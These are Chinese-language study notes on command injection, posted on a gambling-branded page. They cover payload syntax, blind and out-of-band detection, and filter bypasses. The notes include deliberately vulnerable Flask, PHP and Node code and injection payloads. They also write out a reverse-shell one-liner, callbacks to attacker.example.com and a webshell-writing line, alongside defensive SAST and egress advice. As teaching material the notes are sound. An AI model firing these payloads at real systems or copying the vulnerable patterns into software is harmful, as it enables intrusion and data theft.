命令注入(Command Injection)漏洞学习笔记

365足球平台入口 2026-10-31 22:57:16 admin 2981 843
命令注入(Command Injection)漏洞学习笔记

1. 基础注入语法与原理(;, &&, |, ||, & 等)

当应用把未经信任的数据拼接给 shell(例如通过 sh -c "do something " + user" 或 system())时,shell 会把输入作为一条命令行进行词法解析;元字符 ; 表示语句终结并执行下一条,&& 在前一条成功时执行下一条,| 创建管道等。攻击者利用这些符号把额外命令附加到合法命令之后,从而在服务器上执行任意命令。关键不是字符本身,而是 shell 对这些字符的解释地位(它们是控制运算符而非文字字符),只要输入被 shell 解释,这些符号就危险。

常见绕过与示例

若开发者对 ; 做了黑名单过滤,攻击者可能使用命令替换(... / $())或换行、&、管道等等来达成目的。因此正确策略不是黑名单单字符,而是禁止把不可信数据走进会被 shell 重新解析的路径。下面是最基础的例子(危险示例 --- 切勿在生产执行,用于学习):

Python 危险后端(Flask)示例:

python

复制代码

# app_danger.py (危险用法,仅用于学习/测试)

from flask import Flask, request

import os

app = Flask(__name__)

@app.route("/ping")

def ping():

host = request.args.get("host", "")

# 危险:把用户输入拼入 shell 命令

return os.popen("ping -c 1 " + host).read()

如果 host=127.0.0.1; id,返回会包含 id 的输出。替代做法在后文第三部分详述。

测试用例(本地测试)

在本地 VM 启动上述 Flask(仅在 dev 环境),然后用 curl:

bash

复制代码

curl 'http://127.0.0.1:5000/ping?host=127.0.0.1;id'

你会看到 id 输出(如果后端没有过滤)。这就是最原始的命令注入演示。

2. 命令替换(反引号 / $())与其危险性

概念

命令替换是 shell 的一项功能:cmd 或 $(cmd) 会先执行 cmd,然后把 cmd 的标准输出插回原处。若应用在一个被 shell 解析的上下文中接受用户输入,那么即使用户看起来只是提供"参数",命令替换也会先行执行,从而达成注入。

示例与绕过

许多开发者会尝试过滤 ; 或 &&,但忽略了反引号或 $()。例如,假设后端把用户输入放入双引号中 sh -c "do something $input",若 input 包含 $(id),该命令将先运行 id 并替换为结果,即发生注入。

PHP 示例:

php

复制代码

// dangerous.php

$arg = $_GET['arg'];

$out = shell_exec("echo \"$arg\"");

echo $out;

若 arg=$(whoami),实际执行会先取 whoami 的结果再 echo。

避免办法见下文防御章节。

3. 文件名扩展(globbing)与 IFS(word splitting)技巧

为什么重要

命令行解析不仅仅是控制字符,还包括路径扩展(比如 * 会展开成匹配的文件列表)和基于 IFS 的单词拆分(一个扩展的结果会根据 IFS 拆分为多个 argv)。攻击者利用这些语义制造意外参数或将单个参数拆成多个部分。

例如,如果用户输入 $(echo "a b"),在没有适当引号保护的上下文中,扩展后会被拆成两个单词 a 与 b,从而改变程序参数结构。

测试示例(实验)

在受控系统:

bash

复制代码

# 在 /tmp 下创建文件 a b

touch "/tmp/a"

touch "/tmp/b"

# 假设后端执行:ls /tmp/$user_input

# 如果 user_input='*',ls 会列出 a b

这证明了 globbing 会改变参数含义。

4. Windows 特有语法(&、|、||、cmd /c、powershell)

关键点

Windows shell(cmd.exe 或 powershell.exe)的控制符与 Unix shell 不同:& 用于串行命令,|| 条件执行等。

示例(Windows、PowerShell)

如果后端在 Windows 上以 cmd.exe /c "somecmd " + user 执行,用户可以传入 & whoami 来追加命令。PowerShell 则有更强大的替换与表达式语法,防护复杂度更高。

5. 盲注(无法直接获得命令输出时的检测方法)

原理

当应用不会把命令执行的结果直接返回(或输出被过滤),仍可以通过时间盲注或带外通信(DNS/HTTP 回连)检测注入是否成立。时间盲注常见于 sleep/ping -c 等命令可造成响应延迟的环境。带外回连则是让目标系统自己向攻击者控制的服务器发起请求(极大地证明了远程命令执行能力)。

时间盲注示例(Linux)

假设后端执行 ping -c 1 $host 且不返回命令输出,但会明显延迟响应:

bash

复制代码

# 测试 input

host=127.0.0.1; sleep 5

# 如果响应延迟 5 秒,说明命令被执行

更稳健的测试是使用 timeout 或 sleep 并测量响应时间。

带外回连示例(DNS/HTTP)

让目标执行 curl http://attacker.example.com/p 或 nslookup attacker.example.com,若你在 attacker.example.com 上运行监听器(合法授权下),收到请求即证明注入可达。

6. 绕过过滤:编码、转义、双重编码与替代语法

原理

许多防护只做了表面过滤(比如搜 ;、&&),实际可被多种方法绕过:URL encode、Unicode encode、双重编码、替换为功能相同的运算符、使用环境变量或文件中转。关键是:如果任何一层(web 服务器、后端语言、shell)中有"解码/转义"的行为,攻击者可以通过多层编码来绕过上层的过滤。

举例说明:某 WAF 过滤 %3B(; 的 URL encoding),但应用在内部会对输入进行 URL decode 两次,攻击者可以传 %253B(双编码),在两次解码后变成 %3B 再变成 ;。

测试策略

针对每个可疑点尝试多种编码(URL encode、base64 转换并在 shell 中解码、hex 等)。

在后端中间件多层解码的情况下,测试双重编码。

使用替代字符:在 Windows 与 POSIX 下测试不同的分隔符或转义符(例如 ^ 在 cmd 中能转义)。

7. 常见语言/框架的"危险 API"与安全模式(丰富代码示例)

下面分语言举例:每个语言先给"危险模式",再给"安全替代",并解释底层行为。

Python

危险:os.system, os.popen, subprocess.run(..., shell=True)。这些都会把字符串送给 shell 解析(sh -c)。

安全:

python

复制代码

# safe_python.py

import subprocess

def run(cmd_name, arg):

# 参数化接口,避免 shell 解析

proc = subprocess.run([cmd_name, arg], capture_output=True, text=True, shell=False)

return proc.stdout

如果必须使用 shell(例如需要管道)则严格校验参数并调整执行用户环境(最小权限)。

Node.js

危险:child_process.exec(cmd)(走 shell)

安全:

js

复制代码

// safe_node.js

const { spawn } = require('child_process');

function run(dir) {

const ls = spawn('ls', [dir]);

// 处理 stdout/stderr

}

PHP

危险:system, exec, shell_exec

安全:

php

复制代码

// safe_php.php

$cmd = 'convert';

$arg = escapeshellarg($user_input); // 仅当确实需要 shell 时,结合白名单

$full = $cmd . ' ' . $arg;

$output = shell_exec($full);

说明:使用 escapeshellarg 可以防止很多简单注入,但并非万能,必须结合严格白名单或直接调用底层过程控制函数(proc_open with careful args)更安全。

Java

危险:Runtime.getRuntime().exec(String)(传字符串会走 shell)

安全:以字符串数组形式调用 exec(String[] cmdarray) 或使用第三方库将参数分离。

8. 反弹 shell、持久化技术(为什么要谨慎阅读这些内容)

反弹 shell 技术(比如 nc -e,bash -i >& /dev/tcp/attacker/4444 0>&1)对渗透测试非常有用,但也高度危险。这里我说明原理与变种供防御者理解,不列出一键可执行的完整链(避免滥用):

原理:利用系统上存在的网络可用工具(nc、bash、python、perl)在目标机器上启动一个交互 shell,并把标准输入/输出重定向到攻击者可达的端点。

防御重点 :限制出站网络(egress),关闭或限制危险工具(在生产镜像中移除 nc、curl、python 等),使用最小权限容器并对可执行文件做白名单。

你在测试时可以把"反弹"替换为"向自己控制的日志接口回连"来证明命令执行点,而不要在未授权环境内启动真正的远程 shell。

9. 测试用例

示例:自动化 Python 测试骨架(pytest)

下面给出一个最小的测试框架思路:

启动受控 Flask 应用(危险版本)在临时容器中。

使用 pytest 发起 HTTP 请求并判断输出或响应时间。

将 payload 列表作为参数化输入。

python

复制代码

# test_cmdinj.py (示例)

import subprocess, time, requests, pytest

@pytest.fixture(scope='module')

def start_app():

# 假设有一个 Dockerfile 会启动 app_danger.py

subprocess.run(["docker", "build", "-t", "cmdinj_test", "."])

container = subprocess.run(["docker", "run", "-d", "-p", "5000:5000", "cmdinj_test"], capture_output=True, text=True)

cid = container.stdout.strip()

time.sleep(1) # wait for app

yield

subprocess.run(["docker", "rm", "-f", cid])

@pytest.mark.parametrize("payload, expect_delay", [

("127.0.0.1; sleep 2", 2),

("127.0.0.1 && echo hello", 0),

])

def test_timeblind(start_app, payload, expect_delay):

t0 = time.time()

r = requests.get("http://127.0.0.1:5000/ping", params={"host": payload})

t1 = time.time()

assert (t1 - t0) >= expect_delay

10. 常见的 payload 类型

基础控制运算符类(;、&&、|)

原理:切分或条件执行;测试示例如前(Flask ping)。绕过防护:使用 $() 或反引号,不要只过滤单一字符。

命令替换($() / ...)

原理:先执行替换块再代入命令行;绕过:如果 $(...) 被过滤,可以尝试反引号或嵌套替换;测试示例:

bash

复制代码

# 使用 /bin/sh -c "echo USER=$(whoami)"

文件写入与横向移动(使用重定向 >)

原理:通过 > 把内容写进 /tmp 下的 web 可访问目录来植入 webshell。防御:尽量让 Web 目录不可写,或者对临时目录权限做限制。测试示例(受控):

bash

复制代码

# 如果后端允许:; echo 'payload' > /tmp/pwn.php

# 检查 /tmp/pwn.php 内容

(测试时确保 /tmp 是安全目录且在 VM 中测试)

盲注(时间/带外)

已详述。测试示例在上文自动化 pytest 框架提供。

DNS/HTTP 回连

原理:使目标发出网络请求以证明命令执行能力;防御:限制出站、做网络 egress 策略;测试时使用你自己的受控域名或内网 log sink。

11. 防御要点

一句话:消除对 shell 的依赖;无法消除时白名单 + 转义 + 最小权限 + 审计 。

工程实践(简短说明):把危险 API 列为 SAST 规则并阻断 PR;在服务端把可执行命令替换为参数化接口;对必须传到 shell 的参数做强白名单(格式校验、枚举),并在运行环境中限制 egress、使用容器与只读文件系统、记录每次外部进程启动的上下文与参数作为审计证据。

12. 丰富的测试案例集合

案例 A:最基础 - Flask 演示与自动化测试(包含多种 payload)

项目结构:

复制代码

cmdinj-lab/

Dockerfile

app_danger.py

test_cmdinj.py

requirements.txt

Dockerfile(用于在容器中启动实验用服务):

dockerfile

复制代码

FROM python:3.11-slim

WORKDIR /app

COPY app_danger.py /app/app_danger.py

RUN pip install flask

CMD ["python", "/app/app_danger.py"]

app_danger.py:

python

复制代码

from flask import Flask, request

import os

app = Flask(__name__)

@app.route('/ping')

def ping():

host = request.args.get('host',"")

return os.popen("ping -c 1 " + host).read()

if __name__=='__main__':

app.run(host='0.0.0.0', port=5000)

test_cmdinj.py(pytest 自动化示例,包含盲注与回显检测):

python

复制代码

import requests, time, subprocess, pytest

@pytest.fixture(scope='module', autouse=True)

def start_container():

subprocess.run(['docker','build','-t','cmdinj_test','.'], check=True)

cid = subprocess.check_output(['docker','run','-d','-p','5000:5000','cmdinj_test']).decode().strip()

time.sleep(1)

yield

subprocess.run(['docker','rm','-f', cid], check=True)

def test_basic_echo():

r = requests.get('http://127.0.0.1:5000/ping', params={'host': '127.0.0.1; echo PWNTEST'})

assert 'PWNTEST' in r.text

def test_timeblind():

start = time.time()

requests.get('http://127.0.0.1:5000/ping', params={'host':'127.0.0.1; sleep 2'})

assert time.time() - start >= 2

运行方式:

bash

复制代码

pytest test_cmdinj.py -q

这套实验会验证:1)简单的 ; 注入能回显;2)时间盲注可检测到命令执行延迟。

案例 B:多语言示例合集(PHP / Node / Java)

为便于团队熟悉各种语言的危险点,下面分别给出最小可运行示例(仅用于测试)。

PHP (危险) --- web.php:

php

复制代码

$cmd = $_GET['cmd'] ?? '';

// Dangerous:

echo shell_exec($cmd);

?>

测试:

bash

复制代码

curl 'http://127.0.0.1/web.php?cmd=echo%20hello;id'

修复思路:把允许执行的命令枚举到白名单中,或避免 shell_exec。

Node (危险) --- app.js:

js

复制代码

const http = require('http');

const { exec } = require('child_process');

http.createServer((req,res) => {

const url = new URL(req.url, 'http://127.0.0.1');

const cmd = url.searchParams.get('cmd') || '';

exec(cmd, (err, stdout, stderr) => {

res.end(stdout+stderr);

});

}).listen(3000);

替代:使用 spawn 并把参数作为数组传入,或避免执行外部命令。

案例 C:盲注探测脚本(批量测试 payload 列表)

probe_blind.py:

python

复制代码

import requests, time

URL = "http://127.0.0.1:5000/ping"

payloads = [

"127.0.0.1; sleep 2",

"127.0.0.1 && sleep 2",

"127.0.0.1$(sleep 2)",

]

for p in payloads:

t0 = time.time()

r = requests.get(URL, params={'host': p})

dt = time.time() - t0

print(f"Payload: {p} -> {dt:.2f}s")

13. 把防御内嵌到开发周期(SAST/DAST/CI)

SAST(静态规则)建议

在仓库中建立规则:禁止 os.system, popen, Runtime.exec(String) 等未审计的使用。Semgrep/CodeQL 都支持自定义规则。

对每次命中强制要求 PR 写明:为什么这是安全(白名单/参数化)或修复计划。

简单 Semgrep 规则示例(伪代码):

yaml

复制代码

rules:

- id: avoid-os-system

patterns:

- pattern: os.system($X)

message: "Avoid os.system with user input; prefer subprocess.run([...], shell=False)"

severity: ERROR

DAST(动态检测)

在 QA 环境运行自动化扫描(Burp/自写 fuzzer)

CI 集成

在 PR pipeline 中加入 SAST 阶段;若遇危险 API 阻断合并,或要求 PR 附带安全审计说明。

提交带外部命令更改时,要求安全审计批准(由安全团队或架构团队签字)。

14. 高级绕过/技巧

IFS(Internal Field Separator) 利用

为什么可用:扩展结果基于 IFS 拆分为多个参数,攻击者可借助环境或输入中的 IFS 字符来增加参数或改变边界。

绕过检测:若某层过滤掉空格或 ;,攻击者可通过 $(printf '\t') 或 %0A 等方式注入 IFS。

防御:对输入做严格格式化校验(白名单),在传给 shell 前把用户输入用单引号完全包裹并使用安全 API(尽量不交给 shell)。

双重解码

为什么可用:多层中间件进行多次 URL decode,会把双重编码的 payload 还原成危险字符。

防御:在最外层统一做一次严格解码与校验,避免在内部进行二次自动解码或明确规定解码行为。

替代命令/命令链

为什么可用:若黑名单过滤列出某些命令名,攻击者可使用其他等价工具(例如使用 perl、python 来反弹 shell)。

防御:把允许执行的命令列为白名单(严格枚举),并限制可使用的可执行文件集合。

混合上下文注入(多层转义误区)

情形:应用把输入先写进脚本文件,再 sh script 执行,中间一层转义可能被破坏,导致注入。

防御:避免生成 shell 脚本并执行,或在生成脚本时把所有用户数据用 safe quoting(并拒绝任何可疑字符)。

相关推荐

约彩365软件官方下载 买卖假证的法律后果

买卖假证的法律后果

📅 07-01 👁️ 6432
365足球平台入口 村上春树

村上春树

📅 08-03 👁️ 8428
bat365在哪进 2018俄罗斯世界杯:德国被淘汰出局 巴西头名出线

2018俄罗斯世界杯:德国被淘汰出局 巴西头名出线

📅 01-28 👁️ 8123